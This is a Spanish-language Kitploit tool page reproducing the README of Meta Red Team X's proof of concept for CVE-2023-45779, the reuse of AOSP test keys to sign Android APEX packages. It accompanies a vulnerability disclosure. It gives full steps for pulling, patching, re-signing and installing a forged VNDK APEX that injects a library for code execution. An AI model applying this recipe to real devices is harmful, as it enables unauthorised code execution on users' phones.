Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
rtx-cve-2023-45779 — Código de prueba de concepto para la vulnerabilidad de reutilización de claves APEX de Android | Kitploit
Herramientas/GitHubGitHub/metaredteam/rtx-cve-2023-45779
Seguridad AndroidAnálisis de VulnerabilidadesExplotaciónAnálisis de BinariosSeguridad de Cadena de SuministroDesarrollo de Payloads
GitHubmetaredteam/rtx-cve-2023-45779

rtx-cve-2023-45779

Código de prueba de concepto para la vulnerabilidad de reutilización de claves APEX de Android

Ver Repositorio
10984hace 2 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

Este repositorio se proporciona TAL CUAL para acompañar una divulgación de vulnerabilidad de Meta Red Team X. No es un proyecto oficial de Meta y no recibirá soporte como tal.

Un conjunto de scripts y artefactos que demuestran la detección y explotación de dispositivos Android que incluyen APEXes firmados con claves de prueba de AOSP. Consulta nuestra publicación en el blog "Firmas ausentes: cómo varias marcas olvidaron asegurar una pieza clave de Android" para obtener todos los detalles del problema.

Archivos

  • apex-checker/: Un conjunto de scripts de Bash para guardar resúmenes de claves de prueba conocidas y comprobar APEXes en masa en busca de firmas de esas claves.
  • apex-forger/: Wrappers ligeros alrededor de las herramientas apexer y deapexer de AOSP que facilitan desempaquetar, modificar y reempaquetar un APEX. Como apktool para APEXes.
  • vndk-libt/: Código fuente de una librería que añadimos a un APEX vulnerable para demostrar que podemos lograr la ejecución de código. Todo lo que hace es imprimir la línea de comandos de cada proceso que la carga en logcat.

Ejecutar el exploit

  1. Clona un árbol de fuentes reciente de AOSP (Android 13 o similar), envsetup+lunch y ejecuta m apexer deapexer apksigner para compilar las herramientas necesarias.
  2. Actualiza envsetup.sh (el que está aquí, no el de AOSP) para que $AOSP y $ANDROID_HOST_OUT apunten a las ubicaciones apropiadas.
  3. Consigue cualquier dispositivo Android. Actualízalo y habilita ADB.
  4. Ejecuta adb shell getprop ro.build.version.sdk y adb shell getprop ro.vndk.version.
  5. Si los dos coinciden, adb pull /system/apex/com.android.vndk.current.apex vndk.apex. Si no, adb pull /system_ext/apex/com.android.vndk.v<NN>.apex vndk.apex, donde <NN> es ro.vndk.version.
  6. Comprueba si el APEX es vulnerable con apex-checker/check.sh vndk.apex. Si la salida no comienza con "OI" (lo que indica que tanto la firma externa como la interna provienen de claves de prueba), este PoC no se puede utilizar (aunque eso no garantiza que el dispositivo sea seguro, ya que otros APEXes podrían seguir siendo vulnerables).

Claves de prueba conocidas por apex-checker

Los hashes en apex-checker/apk-keys.txt y apex-checker/avb-keys.txt corresponden a las claves de prueba externas e internas de los siguientes APEXes. Ten en cuenta que también existen variantes -goog de esas dos listas, creadas por Google después de nuestro informe inicial. Esas listas son en general más completas, pero no sabemos exactamente qué claves contienen.

  • com.android.appsearch
  • com.android.art
  • com.android.btservices
  • com.android.i18n
  • com.android.mediaprovider
  • com.android.ondevicepersonalization
  • com.android.permission
  • com.android.rkpd
  • com.android.runtime
  • com.android.uwb
  • com.android.virt
  • com.android.vndk.v28
  • com.android.vndk.v29
  • com.android.vndk.v30
  • com.android.vndk.v31
  • com.android.vndk.v32
  • com.android.vndk.v33
  • com.android.wifi
Descargar herramienta
  • Desempaqueta el APEX con apex-forger/unpack.sh vndk.apex vndk.
  • Intenta parchear libutils.so en el APEX extraído para que cargue nuestro libt.so inyectado: git apply --directory=vndk vndk-libt/libutils-v31.patch. Si eso no funciona (p. ej., una versión de VNDK diferente), usa un editor hexadecimal para cambiar manualmente libc.so a libt.so en el DT_NEEDED correspondiente de vndk/payload/lib64/libutils.so.
  • Compila libt.so ejecutando ndk-build dentro de vndk-libt/. Copia vndk-libt/libs/arm64-v8a/libt.so en vndk/payload/lib64/libt.so.
  • Extrae canned_fs_config de apex_build_info.bp. No hay ninguna herramienta que haga esto fácilmente: lo más parecido es protoc --decode_raw <vndk/apex_build_info.bp seguido de desescapar manualmente el campo #3. Coloca canned_fs_config en vndk/.
  • Añade una línea a canned_fs_config, como todas las demás, para /lib64/libt.so.
  • Descarga las claves de prueba para la versión de VNDK correspondiente desde aquí.
  • Reempaqueta el APEX con apex-forger/repack.sh vndk com.android.vndk.v<NN>.{pem,pubkey,pk8,x509.pem}.
  • Ejecuta adb install vndk/forged.apex.
  • Ejecuta adb reboot && adb logcat -s RTXPoC:D.
  • Observa numerosos mensajes de registro de RTXPoC, cada uno desde un proceso en el que podemos ejecutar código.